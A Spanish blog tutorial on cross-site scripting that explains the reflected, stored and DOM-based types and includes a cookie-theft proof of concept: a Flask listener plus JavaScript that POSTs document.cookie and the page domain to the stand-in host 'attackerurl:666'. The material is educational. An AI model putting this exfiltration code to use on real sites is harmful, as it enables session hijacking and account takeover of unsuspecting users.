Entrada

XSS

XSS

Acerca de este artículo y descarga de responsabilidad

Este artículo solo es un resumen breve sobre XSS, no pretende extenderse explicando XSS en profundidad y por supuesto no me hago en absoluto responsable del mal uso que pueda hacerse de esta información.

XSS

Cross-site scripting es una técnica de ataque que permite a un atacante ejecutar código JavaScript malicioso en el navegador de un usuario. Se produce cuando una aplicación web maneja de forma insegura datos controlados por el usuario. Existen varios tipos de XSS, como reflejado, almacenado y basado en DOM.

Tipos de XSS

Reflejados

Cuando hablamos del tipo reflejado significa que es un script que se ejecuta como una acción en el servidor de inmediato, de ahí que se diga que se refleja en la página.

Almacenados

Son igual que los reflejados pero hay una diferencia fundamental, estos quedan almacenados en la aplicación. Con lo que cualquier usuario del sitio podría estar permitiendo las acciones ya mencionadas en los reflejados. Esto los convierte en incluso más peligrosos puesto que puede afectar a cualquier usuario logueado en la aplicación.

Tanto para los reflejados como para los almacenados tenemos un error de backend

DOM-based XSS

Son aquellos ataques donde el servidor no es directamente vulnerable y el payload se procesa en el navegador de la víctima. En la mayoría de los ataques de este tipo el vector inicial consiste en que el atacante envía un enlace malicioso a la víctima. Es un error del frontend.

Peligros del XSS

  • Realizar cualquier acción dentro de la aplicación que el usuario pueda realizar.
  • Ver cualquier información que el usuario pueda ver.
  • Modificar cualquier información que el usuario pueda modificar.
  • Iniciar interacciones con otros usuarios de la aplicación, incluyendo ataques maliciosos, que aparentemente provengan del usuario víctima inicial.

Robo de cookies.

Robar las cookies de un usuario hace que podamos usar la web de la que hayamos tomado esa cookie como si fueramos dicho usuario. No necesitamos loguearnos, simplemente estamos suplantando la sesión. Por eso algunos sitios implementan distintas medidas para evitar esto.

PoC

Servidor con Python Flask. Lado atacante

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request
from flask_cors import CORS
import datetime

app = Flask(__name__)
CORS(app)

@app.route("/", methods=["POST"])
def receive():
    recive_date = datetime.datetime.now()
    formated_date = recive_date.strftime("%Y-%m-%d %H:%M:%S")
    print(f"[+] {formated_date}: {request.data.decode()}")
    return("ok")

app.run(host="0.0.0.0", port=666)
1
2
3
4
fichero requirements.txt 

flask
flask_cors

Pagina test. Lado “víctima”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
    <title>Cookie Stealer Test</title>
</head>

<body>
<h3> Only for educational purposes</h3>

<script>
document.cookie = "username=LordHumano; path=/; max-age=86400";
document.write("cookie => " + document.cookie);
</script>

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attackerurl:666", true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
value: document.cookie
}));
</script>

</body>
</html>

Puedes usar esta página para probar de forma local. Siempre debes hacer esto en un entorno controlado.

Script src

Los ataques de XSS pueden tener origen desde scripts alojados en servidores ajenos a la página usando <script src=..../malicioso.js> y distintas variantes o etiquetas <img src=>etc. Exiten herramientas dedicadas a injectar el código javascript como pueden ser BeefFramework

Script externo ejemplo

1
2
3
4
5
6
7
8
var xhr = new XMLHttpRequest();
var actualdomain = window.location.hostname;
xhr.open("POST", "http://attackerurl:666", true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
domain: actualdomain,
cookie: document.cookie 
}));

Este PoC, es un ejemplo muy sencillo en comparación con ataques más elaborados. He visto que expertos en esta técnica que son capaces de emular el formulario de login de una web y hacerse con las credenciales de cada uno de los usuarios que intentaban hacer login en dicha página.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.